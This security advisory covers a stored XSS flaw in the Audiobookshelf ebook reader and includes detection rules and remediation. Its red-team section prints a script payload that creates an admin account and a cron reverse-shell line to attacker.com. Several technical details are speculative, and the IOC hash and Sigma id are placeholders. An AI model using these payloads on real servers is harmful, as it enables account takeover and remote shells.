CVE-2024-35236

Executive Summary

CVE-2024-35236 is a stored Cross-Site Scripting (XSS) vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server. The vulnerability allows an attacker to inject malicious scripts into an ebook file. When a user with high privileges (such as an admin or librarian) opens the malicious ebook, the script executes within the context of their browser session. This can lead to arbitrary file write on the server, and in the worst case, remote code execution (RCE). The vulnerability affects versions prior to 2.10.0 and has been patched in that release. The CVSS score is 4.8 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild.

Supply Chain & Package Security

Audiobookshelf is a Node.js application. The vulnerability is introduced through the processing of ebook files (likely EPUB format) which may contain HTML/JavaScript. The application does not sanitize or isolate the content of these files before rendering them in the browser. This is a client-side XSS that can be escalated to server-side impact due to the privileges of the victim user.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have upload/create library privileges.
• User Interaction (UI): Required (R) – The victim must open the malicious ebook.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack requires high privileges and user interaction, but the potential for RCE makes it a serious concern for self-hosted instances.

Deep Dive & Mechanics

The vulnerability resides in the ebook reader component of Audiobookshelf. When a user uploads an ebook (e.g., EPUB format), the application extracts and renders the content in the browser. The application does not properly sanitize the HTML/JavaScript embedded within the ebook file. An attacker with upload privileges can craft an ebook containing malicious JavaScript. When a high-privilege user (e.g., an admin) opens this ebook, the script executes in their browser context.

Attack Flow:

1. Attacker gains upload privileges (or creates a library).
2. Attacker crafts an EPUB file containing malicious JavaScript (e.g., using <script> tags or event handlers).
3. Attacker uploads the malicious ebook to the server.
4. Victim (admin) opens the ebook via the web interface.
5. Malicious script executes in the victim's browser.
6. The script can perform actions on behalf of the victim, such as:
   • Reading and exfiltrating session tokens.
   • Making API calls to create new users, modify libraries, or upload files.
   • Writing arbitrary files to the server's filesystem (if the server has write permissions).
7. On Windows, this can lead to code execution via file write (e.g., writing a malicious DLL or script). On Linux, arbitrary file write can also lead to RCE (e.g., overwriting cron jobs, SSH keys, or web application files).

Key Technical Details:

• The vulnerability is a stored XSS (CWE-79).
• The attack is possible because the application does not use a sandboxed iframe or Content Security Policy (CSP) to isolate ebook content.
• The impact is amplified because the victim has high privileges, allowing the attacker to escalate from XSS to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.10.0): The application likely renders ebook content directly into the DOM without sanitization. For example, using innerHTML or dangerouslySetInnerHTML in React.

// Vulnerable example (conceptual)
function renderEbook(content) {
  document.getElementById('ebook-viewer').innerHTML = content;
}

Patched Code (2.10.0): The patch likely involves sanitizing the ebook content before rendering, using a library like DOMPurify, or rendering the content in a sandboxed iframe.

// Patched example (conceptual)
import DOMPurify from 'dompurify';

function renderEbook(content) {
  const sanitized = DOMPurify.sanitize(content);
  document.getElementById('ebook-viewer').innerHTML = sanitized;
}

Alternatively, the patch may use a sandboxed iframe with the sandbox attribute to prevent script execution.

<iframe sandbox="allow-same-origin" srcdoc="...sanitized content..."></iframe>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Audiobookshelf instance (version < 2.10.0).
• An account with upload privileges (or ability to create a library).

Steps to Exploit:

1. Create a malicious EPUB file. An EPUB file is essentially a ZIP archive containing HTML files. You can create one manually or modify an existing EPUB.
2. Inject malicious JavaScript into one of the HTML files (e.g., OEBPS/Text/chapter1.xhtml). Example payload:

   <script>
     fetch('/api/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username: 'attacker', password: 'pwned', role: 'admin' }) });
   </script>
   

3. Repack the EPUB file.
4. Upload the malicious EPUB to the server.
5. Wait for an admin to open the ebook, or social engineer them to do so.
6. The script executes, creating a new admin user.

Advanced Payload (Arbitrary File Write): If the server has write permissions, you can use the XSS to write files. For example, on Linux, you could overwrite a cron job:

<script>
  fetch('/api/upload', { method: 'POST', body: new Blob(['* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'], {type: 'text/plain'}) });
</script>

This requires knowing the API endpoint for file uploads.

Blue Team

Detection:

• Monitor for unusual API calls from the ebook viewer page.
• Look for creation of new users or changes to user roles.
• Monitor file system for unexpected file writes (e.g., cron jobs, SSH keys).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to version 2.10.0 or later.
• If upgrade is not possible, restrict upload privileges to trusted users only.
• Implement a Content Security Policy (CSP) that blocks inline scripts.
• Use a web application firewall (WAF) to block malicious payloads in uploaded files.

Indicators of Compromise (IOCs)

• File Hashes (Malicious EPUB): (Example – replace with actual hashes if available)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs/domains from the server.
  • Unusual API calls to /api/users, /api/upload, or /api/libraries.
• File System Indicators:
  • Unexpected files in /etc/cron.d/, /root/.ssh/, or web-accessible directories.
  • New user accounts in /etc/passwd or application database.
• Log Indicators:
  • Log entries showing creation of new users or modification of libraries by non-admin accounts.
  • Error logs related to file write operations.

Detection Engineering

YARA Rule

rule CVE_2024_35236_Malicious_EPUB {
  meta:
    description = "Detects malicious EPUB files containing script tags for CVE-2024-35236"
    author = "Valters IT"
    date = "2024-10-27"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-35236"
  strings:
    $script_tag = /<script[\s>]/ nocase
    $on_event = /on\w+\s*=/ nocase
    $javascript_url = /javascript\s*:/ nocase
  condition:
    (uint32(0) == 0x04034b50) and  // ZIP magic bytes (EPUB is a ZIP)
    (#script_tag > 0 or #on_event > 0 or #javascript_url > 0)
}

Sigma Rule

title: CVE-2024-35236 - Audiobookshelf XSS Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-35236 via API calls
author: Valters IT
date: 2024/10/27
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2024-35236
logsource:
  category: application
  product: audiobookshelf
detection:
  selection:
    EventID: 1000  # Example: API call event
    RequestPath:
      - '/api/users'
      - '/api/upload'
      - '/api/libraries'
    RequestMethod: 'POST'
    UserAgent: 'Mozilla/5.0*'  # Typical browser UA
  condition: selection
falsepositives:
  - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35236 - Audiobookshelf XSS Payload in EPUB Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/upload"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Audiobookshelf to version 2.10.0 or later. This is the only complete fix.
2. Restrict Privileges: Limit upload and library creation privileges to only trusted users.
3. Monitor Logs: Review application logs for suspicious activity, especially user creation and file uploads.

Long-Term Mitigations:

• Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts and only allows scripts from trusted sources.
• Input Sanitization: Use a library like DOMPurify to sanitize all user-uploaded content before rendering.
• Sandboxing: Render ebook content in a sandboxed iframe with the sandbox attribute.
• Regular Updates: Keep the application and its dependencies up to date.

Workarounds (if upgrade is not possible):

• Disable the ebook reader feature if not needed.
• Use a reverse proxy with WAF capabilities to inspect uploaded files for malicious content.

Valters IT
DevSecOps & Cyber Threat Intelligence